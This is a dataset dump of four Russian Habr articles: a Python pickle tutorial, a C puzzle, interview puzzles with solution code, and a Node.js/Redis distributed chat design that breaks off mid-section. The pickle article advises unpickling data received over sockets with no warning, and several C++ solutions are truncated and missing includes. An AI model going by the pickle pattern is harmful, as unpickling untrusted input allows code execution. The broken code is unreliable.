text
stringlengths 20
1.01M
| url
stringlengths 14
1.25k
| dump
stringlengths 9
15
⌀ | lang
stringclasses 4
values | source
stringclasses 4
values |
|---|---|---|---|---|
# Консервация объектов в Python
В определенный момент любому Питон-программисту понадобится запаковать какой-то объект и спрятать его до лучших времен. Скажем, в config-файл. Или передать через сокет. Как это сделать? Разумеется, можно написать небольшой класс, который будет генерировать и парсить XML-код (кстати, следующая статья как раз будет об этом), но это — слишком большая морока.
Нет! Наш выбор — Pickle!
Преамбула
---------
Pickle (англ. консервировать, мариновать) — модуль сериализации и десериализации объектов в Питоне для последующей их передачи.
Какие типы данных Pickle умеет запаковывать?* None, True, False
* Строки (обычные или Юникод)
* Стандартные числовые типы данных
* Словари, списки, кортежи
* Функции
* Классы
Но есть одна маленькая деталь. По началу вы будете вполне довольны работой этого модуля, но позже, когда будете его использовать на high-load проектах, начнете замечать, что консервирование данных занимает больше времени, чем хотелось бы. Эту проблему решили тем, что был написан подобный модуль, но уже не на Питоне, а на С, что ускорило его производительность в тысячи раз (по заявлению разработчиков). Да, иногда модули, написанные на С, работают быстрее их питоновских аналогов, но тут есть тонкости, в которые в этой статье я позволю себе не углубляться.
Сами создатели Питона в официальной документации советуют использовать cPickle, а чтобы долго не модифицировать программу, можно подключить cPickle так:
`import cPickle as pickle`
Основы
------
Как использовать консервацию объектов? У вас есть два варианта: либо консервировать объект в строку (которую можно передать через сокет, например) либо сразу в файл.
Есть три протокола консервации:* **Версия 0**, стандартный ASCII протокол. Его следует использовать только для совместимости с ранними версиями Питона.
* **Версия 1** — примерно то же самое, используется для совместимости со старыми версиями Питона.
* **Версия 2** впервые внедрена в версии 2.3, она лучше всего запаковывает объекты, написанные в современном синтаксисе, я рекомендую использовать именно её.
Консервирование объекта в строку:
`import cPickle as pickle
obj = {"one": 123, "two": [1, 2, 3]}
output = pickle.dumps(obj, 2)`
Как видите, ничего сложного, объект готов к отправке.
Теперь нужно его распаковать назад. Это еще проще:
`obj = pickle.loads(output)`
Протокол консервирования определяется автоматически.
Давайте попробуем запаковать объект в файл.
`import cPickle as pickle
obj = {"one": 123, "two": [1, 2, 3]}
output = open('data.pkl', 'wb')
pickle.dump(obj, output, 2)
output.close()`
Обратите внимание, что режим записи в файл должен обязательно быть wb, то есть перезапись файла в бинарном режиме. Для чтения режим должен быть rb:
`import cPickle as pickle
input = open('data.pkl', 'rb')
obj = pickle.load(input)
input.close()`
Спасибо за внимание. В следующий раз я бы хотел поговорить об особенностях создания и парсинга XML-данных в Питоне. | https://habr.com/ru/post/44599/ | null | ru | null |
# Задачка (без злого умысла)
Нужно заменить ровно один (любой) символ в следующей строке, причём так, чтобы она скомпилилась и было выведено ровно 20 звёздочек:
> `int main() { int i, n = 20; for (i = 0; i < n; i--) { printf("\*"); } }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Для тех, кто «набил руку» на особенностях C, задачка, скорее всего, сложности не представляет; но существует как минимум 3 решения, и если вы нашли одно — то это не повод расслабиться :) А может быть, вы найдёте ещё четвёртое, пятое..?
**UPD 1**: Первое правильное решение предложил [lostmsu](https://habrahabr.ru/users/lostmsu/), остальные два — [steck](https://habrahabr.ru/users/steck/)
Не читайте комменты, поломайте мозг!
**UPD 2**: Вот эти три решения (`color="white"`):
* Самое очевидное — `int main() { int i, n = 20; for (i = 0; i < n;` **n**`--) { printf("*"); } }`
* Не столь заметное — `int main() { int i, n = 20; for (i = 0;` **-**`i < n; i--) { printf("*"); } }`
* Наиболее красивое — `int main() { int i, n = 20; for (i = 0; i` **+** `n; i--) { printf("*"); } }` | https://habr.com/ru/post/71522/ | null | ru | null |
# Выпуск#35: ITренировка — актуальные вопросы и задачи от ведущих компаний
Привет-привет! Мы вновь подготовили Вам подборку интересных вопросов и задачек с собеседований в ведущие IT-компании!
Выпуски будут появляться каждую неделю — следите за обновлениями! Рубрика выходит при поддержке рекрутингового агентства [Spice IT](http://www.spice-agency.ru/ru/).
На этой неделе мы собрали задачи с собеседований в американскую компанию PayPal. Кстати, ответы на задачки из прошлого выпуска уже [опубликованы](https://habr.com/ru/company/spice/blog/494310/).
Вопросы
-------
1. **Prisoner and Policeman Puzzle**
> Policeman decided to punish the Prisoner and asked him to make a statement. The Prisoner should make such a statement so that he would be alive.
>
> If the statement is held true by Policeman, the Prisoner will be hanged to death and if the statement is held false, the Prisoner will be shot dead.
**Перевод**
Полицейский решил наказать заключенного и попросил его сделать заявление. Заключенный должен сделать такое заявление, чтобы остаться в живых.
Если это заявление будет признано полицейским как правда, заключенный будет повешен, а если это заявление будет признано ложным, заключенный будет застрелен. Какое заявление нужно сделать заключенному?
2. **Matchstick Puzzle**
> How to make 4 equilateral triangles with 6 identical match sticks?
**Перевод**
Как сделать 4 равносторонних треугольника из 6 одинаковых спичечных палочек?
Задачи
------
1. **Intersection of two arrays**
> Given two arrays **A** and **B** respectively of size **N** and **M**. The task is to print the count of elements in the intersection (or common elements) of the two arrays.
>
> For this question, intersection of two arrays can be defined as the set containing distinct common elements between the two arrays.
>
>
>
> **Input:**
>
> The first line of input contains an integer T denoting the number of test cases. The first line of each test case is N and M, N is the size of array A and M is size of array B. The second line of each test case contains N input A[i].
>
> The third line of each test case contains M input B[i].
>
>
>
> **Output:**
>
> Print the count of intersecting elements.
>
>
>
> **Constraints:**
>
> `1 ≤ T ≤ 100
>
> 1 ≤ N, M ≤ 105
>
> 1 ≤ A[i], B[i] ≤ 105`
>
>
>
> **Example:
>
> Input:**
>
> `4
>
> 5 3
>
> 89 24 75 11 23
>
> 89 2 4
>
> 6 5
>
> 1 2 3 4 5 6
>
> 3 4 5 6 7
>
> 4 4
>
> 10 10 10 10
>
> 20 20 20 20
>
> 3 3
>
> 10 10 10
>
> 10 10 10`
>
> **Output:**
>
> `1
>
> 4
>
> 0
>
> 1`
>
>
>
> **Explanation:**
>
> **Testcase 1:** 89 is the only element in the intersection of two arrays.
>
> **Testcase 2:** 3 4 5 and 6 are the elements in the intersection of two arrays.
>
> **Testcase 3:** Non of the elements are common so the output will be -1.
>
> **Testcase 4:** 10 is the only element which is in the intersection of two arrays.
**Перевод**
Даны два массива **A** и **B** соответственно размера **N** и **M**. Задача состоит в том, чтобы вывести количество элементов в пересечении (или общих элементах) двух массивов.
Для этого вопроса пересечение двух массивов можно определить как множество, содержащее различные общие элементы между двумя массивами.
**Ввод:**
Первая строка входных данных содержит целое число T, обозначающее количество тестов. Первая строка каждого теста — это N и M, N-размер массива A, а M-размер массива B. Вторая строка каждого теста содержит N входных данных A[i].
Третья строка каждого теста содержит M входных данных B[i].
**Вывод:**
Выведите количество пересекающихся элементов.
**Ограничения:**
`1 ≤ T ≤ 100
1 ≤ N, M ≤ 105
1 ≤ A[i], B[i] ≤ 105`
**Пример:
Ввод:**
`4
5 3
89 24 75 11 23
89 2 4
6 5
1 2 3 4 5 6
3 4 5 6 7
4 4
10 10 10 10
20 20 20 20
3 3
10 10 10
10 10 10`
**Вывод:**
`1
4
0
1`
**Объяснение:**
Тест 1: 89 — это единственный элемент в пересечении двух массивов.
Тест 2: 3 4 5 и 6 — это элементы в пересечении двух массивов.
Тест 3: нет общих элементов, поэтому вывод будет равен 0.
Тест 4: 10 — это единственный элемент, который находится в пересечении двух массивов.
2. **Concatenation of Zig-Zag String in ‘n’ Rows**
> Given a string and number of rows ‘n’. Print the string formed by concatenating n rows when input string is written in row-wise Zig-Zag fashion.
>
>
>
> **Examples:**
>
> `Input:
>
> str = "ABCDEFGH"
>
> n = 2
>
> Output: "ACEGBDFH"
>
> Explanation: Let us write input string in Zig-Zag fashion in 2 rows.
>
> A___C___E___G
>
> __B___D___F___H
>
> Now concatenate the two rows and ignore spaces
>
> in every row. We get "ACEGBDFH"
>
>
>
> Input:
>
> str = "SPICEITRECRUITMENT"
>
> n = 3
>
> Output: SEEINPCIRCUTETITRM
>
> Explanation: Let us write input string in Zig-Zag fashion in 3 rows.
>
> S_______E_______E_______I_______N
>
> __P___C___I___R___C___U___T___E___T
>
> ____I_______T_______R_______M
>
> Now concatenate the two rows and ignore spaces
>
> in every row. We get "SEEINPCIRCUTETITRM"`
>
>
>
> **Input:**
>
> The first line of input consists number of the test cases. The description of T test cases is as follows:
>
> The first line of each test case contains the string, and the second line has 'n' the number of rows.
>
>
>
> **Output:**
>
> In each separate line print the string after concatenating n rows in a zig zag form.
>
>
>
> **Constraints:**
>
> `1 ≤ T ≤ 70
>
> 1 ≤ N ≤ size of string`
>
>
>
> **Example:
>
> Input:**
>
> `2
>
> qrrc
>
> 3
>
> rfkqyuqfjkxy
>
> 2`
>
> **Output:**
>
> `qrcr
>
> rkyqjxfqufky`
**Перевод**
Дана строка и количество строк ‘n'. Выведите строку, образованную путем объединения n строк, когда входная строка записывается зигзагообразно по строкам.
**Примеры:**
`Ввод:
str = "ABCDEFGH"
n = 2
Вывод: "ACEGBDFH"
Пояснение: давайте напишем входную строку зигзагообразно в 2 строки.
A___C___E___G
__B___D___F___H
Теперь объедините эти две строки и игнорируйте пробелы в каждом ряду. Мы получаем "ACEGBDFH"
Ввод: SEEINPCIRCUTETITRM
str = "SPICEITRECRUITMENT"
n = 3
Вывод:
Пояснение: давайте напишем входную строку зигзагообразно в 3 строки.
S_______E_______E_______I_______N
__P___C___I___R___C___U___T___E___T
____I_______T_______R_______M
Теперь объедините эти две строки и игнорируйте пробелы в каждом ряду. Мы получаем "SEEINPCIRCUTETITRM"`
**Ввод:**
Первая строка ввода состоит из числа тестов. Описание тестов t выглядит следующим образом:
Первая строка каждого теста содержит строку, а вторая строка содержит 'n' — количество строк.
**Вывод:**
В каждой отдельной строке выведите строку после объединения n строк в виде зигзага.
**Ограничения:**
`1 ≤ T ≤ 70
1 ≤ N ≤ размер строки`
**Пример:
Ввод:**
`2
qrrc
3
rfkqyuqfjkxy
2`
**Вывод:**
`qrcr
rkyqjxfqufky`
3. **Solve the Sudoku**
> Given an incomplete Sudoku configuration in terms of a 9 x 9 2-D square matrix (mat[][]). The task to print a solved Sudoku. For simplicity you may assume that there will be only one unique solution.
>
>
>
> **Sample Sudoku for you to get the logic for its solution:**
>
> 
>
>
>
> **Input:**
>
> The first line of input contains an integer T denoting the no of test cases. Then T test cases follow. Each test case contains 9\*9 space separated values of the matrix mat[][] representing an incomplete Sudoku state where a 0 represents empty block.
>
>
>
> **Output:**
>
> For each test case, in a new line, print the space separated values of the solution of the the sudoku.
>
>
>
> **Constraints:**
>
> `1 <= T <= 10
>
> 0 <= mat[] <= 9`
>
>
>
> **Example:
>
> Input:**
>
> `1
>
> 3 0 6 5 0 8 4 0 0
>
> 5 2 0 0 0 0 0 0 0
>
> 0 8 7 0 0 0 0 3 1
>
> 0 0 3 0 1 0 0 8 0
>
> 9 0 0 8 6 3 0 0 5
>
> 0 5 0 0 9 0 6 0 0
>
> 1 3 0 0 0 0 2 5 0
>
> 0 0 0 0 0 0 0 7 4
>
> 0 0 5 2 0 6 3 0 0`
>
>
>
> **Output:**
>
> `3 1 6 5 7 8 4 9 2 5 2 9 1 3 4 7 6 8 4 8 7 6 2 9 5 3 1 2 6 3 4 1 5 9 8 7 9 7 4 8 6 3 1 2 5 8 5 1 7 9 2 6 4 3 1 3 8 9 4 7 2 5 6 6 9 2 3 5 1 8 7 4 7 4 5 2 8 6 3 1 9`
>
>
>
> **Explanation:**
>
> **Testcase 1:** The solved sudoku is:
>
> `3 1 6 5 7 8 4 9 2
>
> 5 2 9 1 3 4 7 6 8
>
> 4 8 7 6 2 9 5 3 1
>
> 2 6 3 4 1 5 9 8 7
>
> 9 7 4 8 6 3 1 2 5
>
> 8 5 1 7 9 2 6 4 3
>
> 1 3 8 9 4 7 2 5 6
>
> 6 9 2 3 5 1 8 7 4
>
> 7 4 5 2 8 6 3 1 9`
**Перевод**
Дана неполная конфигурация судоку в виде квадратной матрицы размером 9 x 9 2D (mat [] []). Задача распечатать решенное судоку. Для простоты вы можете предположить, что будет только одно уникальное решение.
Пример судоку для вас, чтобы понять логику для его решения:
**Ввод:**
Первая строка входных данных содержит целое число T, обозначающее количество тестов. Затем следуют T тестов. Каждый тест содержит 9 \* 9 разделенных пробелами значений матрицы mat [] [], представляющего неполное состояние судоку, где 0 представляет собой пустой блок.
**Вывод:**
Для каждого теста в новой строке выведите через пробел значения решения задачи судоку.
**Ограничения:**
`1 <= T <= 10
0 <= mat[] <= 9`
**Пример:
Ввод:**
`1
3 0 6 5 0 8 4 0 0
5 2 0 0 0 0 0 0 0
0 8 7 0 0 0 0 3 1
0 0 3 0 1 0 0 8 0
9 0 0 8 6 3 0 0 5
0 5 0 0 9 0 6 0 0
1 3 0 0 0 0 2 5 0
0 0 0 0 0 0 0 7 4
0 0 5 2 0 6 3 0 0`
**Вывод:**
`3 1 6 5 7 8 4 9 2 5 2 9 1 3 4 7 6 8 4 8 7 6 2 9 5 3 1 2 6 3 4 1 5 9 8 7 9 7 4 8 6 3 1 2 5 8 5 1 7 9 2 6 4 3 1 3 8 9 4 7 2 5 6 6 9 2 3 5 1 8 7 4 7 4 5 2 8 6 3 1 9`
**Объяснение:**
**Пример 1:** решениесудоку:
`3 1 6 5 7 8 4 9 2
5 2 9 1 3 4 7 6 8
4 8 7 6 2 9 5 3 1
2 6 3 4 1 5 9 8 7
9 7 4 8 6 3 1 2 5
8 5 1 7 9 2 6 4 3
1 3 8 9 4 7 2 5 6
6 9 2 3 5 1 8 7 4
7 4 5 2 8 6 3 1 9`
Ответы
------
**Вопрос 1**
— Меня расстреляют, — сказал заключенный’
Если полицейский скажет, что это утверждение истинно, заключенный будет повешен до смерти, что сделает его заявление ложным.
Если полицейский скажет, что это утверждение ложно, заключенный будет застрелен, что сделает это утверждение истинным.
**Вопрос 2**
Сделать тетраэдр.
**Задача 1**
```
t=0
try:
t=int(input().strip())
except:
pass
if __name__ == "__main__":
while t:
t-=1
n, m = map(int, input().strip().split())
a = list(map(int, input().strip().split()))
b = list(map(int, input().strip().split()))
a.sort()
count=0;x=0
for i in a:
if i==x:
pass
else:
if i in b:
count+=1
x=i
print(count)
```
**Задача 2**
```
#include
using namespace std;
int main()
{
//code
ios\_base::sync\_with\_stdio(false);
cin.tie(NULL);
int t;
cin>>t;
while(t--)
{
string str;
cin>>str;
int row;
cin>>row;
vector v[row];
int flag=1,k=0;
while(1)
{
if(flag==1 && k0 && k
```
**Задача 3**
```
#include
using namespace std;
#define ll long long
int grid[9][9];
int row[9][10];
int col[9][10];
int box[3][3][10];
bool flag;
vector >V;
void call(int I)
{
if(V.size()==I)
{
flag=false;
for(int i=0;i<9;i++)
{
for(int j=0;j<9;j++)
cout<>t;
while(t--)
{
for(int i=0;i<9;i++)
{
for(int j=0;j<9;j++)
grid[i][j]=0;
}
for(int i=0;i<9;i++)
{
for(int j=1;j<=9;j++)
{
row[i][j]=0;
col[i][j]=0;
}
}
for(int i=0;i<3;i++)
{
for(int j=0;j<3;j++)
for(int k=1;k<=9;k++)
box[i][j][k]=0;
}
flag=true;
V.clear();
for(int i=0;i<9;i++)
{
for(int j=0;j<9;j++)
{
cin>>grid[i][j];
if(grid[i][j]==0)
{
V.push\_back(make\_pair(i,j));
continue;
}
row[i][grid[i][j]]=1;
col[j][grid[i][j]]=1;
if(i<3)
{
if(j<3)
{
box[0][0][grid[i][j]]=1;
}
else if(j<6)
{
box[0][1][grid[i][j]]=1;
}
else
{
box[0][2][grid[i][j]]=1;
}
}
else if(i<6)
{
if(j<3)
{
box[1][0][grid[i][j]]=1;
}
else if(j<6)
{
box[1][1][grid[i][j]]=1;
}
else
{
box[1][2][grid[i][j]]=1;
}
}
else
{
if(j<3)
{
box[2][0][grid[i][j]]=1;
}
else if(j<6)
{
box[2][1][grid[i][j]]=1;
}
else
{
box[2][2][grid[i][j]]=1;
}
}
}
}
call(0);
}
return 0;
}
``` | https://habr.com/ru/post/496654/ | null | ru | null |
# Распределённый чат на Node.JS и Redis
Небольшой вопрос/ответ:
*Для кого это?* Людям, которые мало или вообще не сталкивались с распределенными системами, и которым интересно увидеть как они могут строится, какие существуют паттерны и решения.
*Зачем это?* Самому стало интересно что и как. Черпал информацию с разных источников, решил выложить в концентрированном виде, ибо в свое время сам хотел бы увидеть подобную работу. По сути это текстовое изложение моих личных метаний и раздумий. Также, наверняка будет много исправлений в комментариях от знающих людей, отчасти это и есть целью написания всего этого именно в виде статьи.
Постановка задачи
-----------------
Как сделать чат? Это должно быть тривиальной задачей, наверное каждый второй бекендер пилил свой собственный, так же как игровые разработчики делают свои тетрисы/змейки и т. п. Я взялся за такой, но чтоб было интереснее он должен быть готов к захвату мира, чтоб мог выдерживать сотниллиарды активных пользователей и вообще был неимоверно крут. Из этого исходит ясная потребность в распределенной архитектуре, потому что вместить все воображаемое количество клиентов на одной машине — пока нереально с нынешними мощностями. Заместо того чтоб просто сидеть и ждать на появление квантовых компьютеров я решительно взялся за изучение темы распределенных систем.
Стоит отметить что быстрый отклик очень важен, пресловутый realtime, ведь это же **чат**! а не доставка почты голубями.
%*рандомная шутка про почту россии*%
Использовать будем Node.JS, он идеален для прототипирования. Для сокетов возьмем Socket.IO. Писать на TypeScript.
И так, что вообще мы хотим:
1. Чтоб пользователи могли слать друг-другу сообщения
2. Знать кто онлайн/оффлайн
Как мы это хотим:
Сингл сервер
------------
Тут нечего говорить особо, сразу к коду. Объявим интерфейс сообщения:
```
interface Message{
roomId: string,//В какую комнату пишем
message: string,//Что мы туда пишем
}
```
На сервере:
```
io.on('connection', sock=>{
//Присоеденяемся в указанную комнату
sock.on('join', (roomId:number)=>
sock.join(roomId))
//Пишем в указанную комнату
//Все кто к ней присоеденился ранее получат это сообщение
sock.on('message', (data:Message)=>
io.to(data.roomId).emit('message', data))
})
```
На клиенте что-то типа:
```
sock.on('connect', ()=> {
const roomId = 'some room'
//Подписываемся на сообщения из любых комнат
sock.on('message', (data:Message)=>
console.log(`Message ${data.message} from ${data.roomId}`))
//Присоеденяемся к одной
sock.emit('join', roomId)
//И пишем в нее
sock.emit('message', {roomId: roomId, message: 'Halo!'})
})
```
С онлайн статусом можно работать так:
```
io.on('connection', sock=>{
//При авторизации присоеденяем сокет в комнату с идентификатором пользователя
//В будущем, если нужно будет послать сообщение конкретному пользователю -
//можно его скинуть прямо в нее
sock.on('auth', (uid:string)=>
sock.join(uid))
//Теперь, чтоб узнать онлайн ли пользователь,
//просто смотрим есть ли кто в комнате с его айдишником
//и отправляем результат
sock.on('isOnline', (uid:string, resp)=>
resp(io.sockets.clients(uid).length > 0))
})
```
И на клиенте:
```
sock.on('connect', ()=> {
const uid = 'im uid, rly'
//Типо авторизуемся
sock.emit('auth', uid)
//Смотрим в онлайне ли мы
sock.emit('isOnline', uid, (isOnline:boolean)=>
console.log(`User online status is ${isOnline}`))
})
```
> Примечание: код не запускал, пишу по памяти просто для примера
Просто как дрова, докручиваем сюды реальную авторизацию, менеджмент комнат (история сообщений, добавление/удаление участников) и профит.
НО! Мы же собрались захватывать мир во всем мире, а значит не время останавливаться, стремительно движемся дальше:
Node.JS кластер
---------------
Примеры использования Socket.IO на множестве нод есть прямо [на официальном сайте](https://socket.io/docs/using-multiple-nodes/). В том числе там есть и про родной Node.JS кластер, который мне показался неприменимым к моей задаче: он позволяет расширить наше приложение по всей машине, НО не за ее рамки, поэтому решительно пропускаем мимо. Нам нужно наконец-то выйти за границы одной железки!
Распределяй и велосипедь
------------------------
Как это сделать? Очевидно, нужно как-то связать наши инстансы, запущенные не только дома в подвале, но и в соседском подвале тоже. Что первое приходит в голову: делаем некое промежуточное звено, которое послужит шиной между всеми нашими нодами:
Когда нода хочет послать сообщение другой, она делает запрос к Bus, и уже он в свою очередь пересылает его куда надо, все просто. Наша сеть готова!
**FIN.**
… но ведь не все так просто?)
При таком подходе мы упираемся в производительность этого промежуточного звена, да и вообще хотелось бы напрямую обращаться к нужным нодам, ведь что может быть быстрее общения на прямую? Так давайте двинемся именно в эту сторону!
Что нужно в первую очередь? Собственно, законнектить один инстанс к другому. Но как первому узнать об существовании второго? Мы же хотим иметь их бесконечное количество, произвольно поднимать/убирать! Нужен мастер-сервер, адрес которого заведомо известен, к нему все коннектятся, за счет чего он знает все существующие ноды в сети и этой информацией добросердечно делиться с всеми желающими.
Т е нода поднимается, говорит мастеру о своем пробуждении, он дает список других активных нод, мы к ним подключаемся и все, сеть готова. В качестве мастера может выступать Consul или что-то подобное, но поскольку мы велосипедим то и мастер должен быть самопальный.
Отлично, теперь мы располагаем собственным скайнетом! Но текущая реализация чата в нем уже не пригодна. Давайте, собственно, придумаем требования:
1. Когда пользователь шлет сообщение, мы должны знать КОМУ он его шлет, т е иметь доступ к участникам комнаты.
2. Когда мы получили участников мы должны доставить им сообщения.
3. Мы должны знать какой пользователь в онлайне сейчас
4. Для удобства — дать пользователям возможность подписываться на онлайн статус других пользователей, чтоб в реальном времени узнавать об его изменении
Давайте разберемся с пользователями. Например, можно сделать чтоб мастер знал к какой ноде какой юзерь подключен. Ситуация следующая:
Два пользователя подсоединены к разным нодам. Мастер знает об этом, ноды знают что мастер знает. Когда UserB авторизуется, Node2 уведомляет об этом Master, который "запоминает" что UserB присоединен к Node2. Когда UserA захочет послать сообщение UserB то получится следующая картина:
В принципе все работает, но хотелось бы избежать лишнего раунд трипа в виде опрашивания мастера, экономнее было бы сразу обращаться напрямую к нужной ноде, ведь именно ради этого все и затеивалось. Это можно сделать, если они будут сообщать всем окружающим какие пользователи к ним подключены, каждая из них становится самодостаточным аналогом мастера, и сам мастер становится не нужным, т к список соотношения "User=>Node" дублируется у всех. При старте ноде достаточно подключиться к любой уже запущенной, стянуть ее список себе и вуаля, она также готова к бою.
Но качестве trade off мы получаем дублирование списка, который хоть и являет собой соотношение "user id -> [host connections]", но все же при достаточном количестве пользователей получится довольно большим по памяти. Да и вообще пилить такое самому — это явно попахивает велосипедостроительной промышленностью. Чем больше кода — тем больше потенциальных ошибок. Пожалуй, заморозим этот вариант и глянем что уже есть из готового:
Брокеры сообщений
-----------------
Сущность реализующая тот самый "Bus", "промежуточное звено" упомянутое выше. Его задача — получение и доставка сообщений. Мы, как пользователи — можем подписаться на них и отсылать свои. Все просто.
Есть зарекомендовавшие себя RabbitMQ и Kafka: они только и делают что доставляют сообщения — таково их предназначение, напичканы всем необходимым функционалом по горло. В их мире сообщение должно быть доставлено, несмотря ни на что.
В то же время есть Redis и его pub/sub — тоже что и вышеупомянутые ребята но более дубово: он просто тупо принимает сообщение и доставляет подписчику, без всяких очередей и остальных оверхедов. Ему абсолютно плевать на сами сообщения, пропадут они, подвис ли подписчик — он выбросит его и возьмется за новое, будто ему в руки кидают раскаленную кочергу от которой хочется избавиться по быстрее. Также, если он вдруг упадет — все сообщения также канут вместе с ним. Иными словами — ни о какой гарантии доставки речи не идет.
… и это то что нужно!
Ну действительно же, мы делаем просто чат. Не какой-то критический сервис по работе с деньгами или центр управления космическими полетами, а… просто чат. Риск что условному Пете раз в год не придет одно сообщение из тысячи — им можно пренебречь, если в замен получаем рост производительности а в месте с ним количества пользователей за те же деньки, trade off во всей красе. Тем более что в то же время можно вести историю сообщений в каком нибудь персистентном хранилище, а значит Петя таки увидит то самое пропущенное сообщение перезагрузив страницу/приложение. Именно по этому остановимся на Redis pub/sub, а точнее: посмотрим на существующий адаптер для SocketIO, который [упоминается в статье на оф. сайте](https://socket.io/docs/using-multiple-nodes/).
Так что это?
Redis adapter
-------------
<https://github.com/socketio/socket.io-redis>
С его помощью обычное приложение посредством нескольких строчек и минимальным количеством телодвижений превращается в настоящий распределенный чат! Но как? [Если посмотреть внутрь](https://github.com/socketio/socket.io-redis/blob/master/index.js) — оказывается там всего один файл на пол сотни строк.
В случай, когда мы эмитим сообщение
```
io.emit("everyone", "hello")
```
оно пушится в редис, передается всем другим инстансам нашего чата, которые в свою очередь эмитят его у себя уже локально по сокетам
Сообщение разойдется по всех нодах даже если мы эмитим конкретному пользователю. Т е каждая нода принимает все сообщения и уже сама разбирается нужно ли оно ей.
Также, там реализован простенький rpc (вызов удаленных процедур), позволяющий не только отсылать но и получать ответы. Например можно управлять сокетами удаленно, типо "кто находится в указанной комнате", "приказать сокету присоединиться к комнате", и т д.
Что с этим можно сделать? Например, использовать идентификатор пользователя в качестве имени комнаты (user id == room id). При авторизации джоинить сокет к ней, а когда мы захотим послать пользователю сообщение — просто шлем в нее. Еще, мы можем узнать онлайн ли юзер, элементарно глянув есть ли сокеты в указанной комнате.
В принципе на этом можно остановиться, но нам как всегда мало:
1. Бутылочное горлышко в виде одного инстанса редиса
2. Избыточность, хотелось бы чтоб ноды получали только нужные им сообщения
На счет пункта первого, глянем на такую штуку как:
Redis cluster
-------------
Связывает между собой несколько инстансов редиса, после чего работают как единое целое. Но как он это делает? Да вот так:
… и видим что сообщение дублируется всем участникам кластера. Т е он предназначен не для прироста производительности, а для повышения надежности, что конечно хорошо и нужно, но для нашего кейса не имеет ценности и никак не спасает ситуацию с бутылочным горлышком, плюс в сумме это еще больше расходования ресурсов.
Я новичек, многого не знаю, иногда приходится возвращаться к вилесопедостроению, чем мы и займемся. Нет, редис оставим дабы совсем не скатываться, но нужно что-то придумать с архитектурой ибо текущая никуда не годится.
Поворот не туда
---------------
Что нам нужно? Повысить общую пропускную способность. Например попробуем тупо заспавнить еще один инстанс. Представим что socket.io-redis умеет подключаться к нескольким, при пуше сообщения он выбирает рандомный, а подписывается на все. Получится вот так:
Вуаля! В общем и целом, проблема решена, редис теперь не узкое место, можно спавнить сколь угодно экземпляров! Зато им стали ноды. Да-да, инстансы нашего чатика по прежнему переваривают ВСЕ сообщения, кому бы они не предназначались.
Можно наоборот: подписываться на один рандомный, что уменьшит нагрузку на ноды, а пушить в все:
Видим что стало наоборот: ноды чувствуют себя спокойнее, но на инстанс редиса нагрузка выросла. Это тоже никуда не годится. Нужно чутка повелосипедить.
Дабы прокачать нашу систему оставим пакет socket.io-redis в покое, он хоть и классный но нам нужно больше свободы. И так, подключаем редис:
```
//Отдельные каналы для:
const pub = new RedisClient({host: 'localhost', port: 6379})//Пуша сообщений
const sub = new RedisClient({host: 'localhost', port: 6379})//Подписок на них
//Также вспоминаем этот интерфейс
interface Message{
roomId: string,//В какую комнату пишем
message: string,//Что мы туда пишем
}
```
Настраиваем нашу систему сообщений:
```
//Отлавливаем все приходящие сообщения тут
sub.on('message', (channel:string, dataRaw:string)=> {
const data = JSON.parse(dataRaw)
io.to(data.roomId).emit('message', data))
})
//Подписываемся на канал
sub.subscribe("messagesChannel")
//Присоеденяемся в указанную комнату
sock.on('join', (roomId:number)=>
sock.join(roomId))
//Пишем в комнату
sock.on('message', (data:Message)=> {
//Публикуем в канал
pub.publish("messagesChannel", JSON.stringify(data))
})
```
На данный момент получается как в socket.io-redis: мы слушаем все сообщения. Сейчас мы это исправим.
Организуем подписки следующим образом: вспоминаем концепцию с "user id == room id", и при появлении пользователя подписываемся на одноименный канал в редисе. Таким образом наши ноды будут получать только предназначенные им сообщения, а не слушать "весь эфир".
```
//Отлавливаем все приходящие сообщения тут
sub.on('message', (channel:string, message:string)=> {
io.to(channel).emit('message', message))
})
let UID:string|null = null;
sock.on('auth', (uid:string)=> {
UID = uid
//Когда пользователь авторизируется - подписываемся на
//одноименный нашему UID канал
sub.subscribe(UID)
//И соответствующую комнату
sock.join(UID)
})
sock.on('writeYourself', (message:string)=> {
//Пишем сами себе, т е публикуем сообщение в канал одноименный UID
if (UID) pub.publish(UID, message)
})
```
Офигенно, теперь мы уверены что ноды получают только предназначенные им сообщения, ничего лишнего! Следует заметить, однако, что самих подписок теперь намного, намного больше, а значит будет кушать память ой йой йой, + больше операций подписки/отписки, которые сравнительно дорогие. Но в любом случае это придает нам некоторой гибкости, даже можно на этом моменте остановиться и пересмотреть заново все предыдущие варианты, уже с учетом нашего нового свойства нод в виде более выборочного, целомудренного получения сообщений. Например, ноды могут подписываться на один из нескольких инстансов редиса, а при пуше — отсылать сообщение в все инстансы:
… но, как ни крути, они все равно не дают бесконечной расширяемости при разумных накладных расходах, нужно рожать иные варианты. В один момент в голову пришла следующая схема: а что если инстансы редисов поделить на группы, скажем А и В по два инстанса в каждой. Ноды при подписке подписываются по одному инстансу от каждой группы, а при пуше отсылают сообщение в все инстансы какой-то одной рандомной группы.
Таким образом мы получаем действующую структуру с бесконечным потенциалом расширяемости в реальном времени, нагрузка на отдельный узел в любой точке не зависит от размера системы, ибо:
1. Общая пропускная способность делится между группами, т. е. при увеличении пользователей/активности просто сравним дополнительные группы.
2. Менеджмент пользователями (подписками) делится внутри самих групп, т е при увеличении пользователей/подписок просто наращиваем количество инстансов внутри групп.
… и как всегда есть одно "НО": чем больше оно все становится, тем больше ресурсов нужно для следующего прироста, это мне кажется непомерным trade off.
Вообще, если подумать — вышеупомянутые затыки исходят из незнания, на какой ноде какой пользователь. Ну ведь действительно, имея мы эту информацию, могли б пушить сообщения сразу куда надо, без лишнего дублирования. Что мы пытались сделать все это время? Пытались сделать систему бесконечно масштабируемой, при этом не имея механизма четкой адресации, из за чего неизбежно упарывались либо в тупик, либо в неоправданную избыточность. Например можно вспомнить об мастере, выполняющий роль "адресной книги":
> Что-то похожее рассказывает этот чувак:
>
>
>
>
>
>
Чтобы получить местонахождение пользователя мы проделываем дополнительный раундтрип, что в принципе О'К, но не в нашем случае. Кажется мы копаем в не совсем правильную сторону, нужно что-то иное...
Сила хэша
---------
Есть такая штука как хэш. У него есть некоторый конечный диапазон значений. Получить его можно из любых данных. А что если разделить этот диапазон между инстансами редиса? Ну вот берем мы идентификатор пользователя, производим хэш, и в зависимости от диапазона в котором он оказался подписываемся/пушим в один определенный инстанс. Т е мы заранее не знаем где какой юзерь существует, но получив его айди можем с уверенностью сказать что он именно в n инстансе, инфа 100. Теперь то же самое, но с кодом:
```
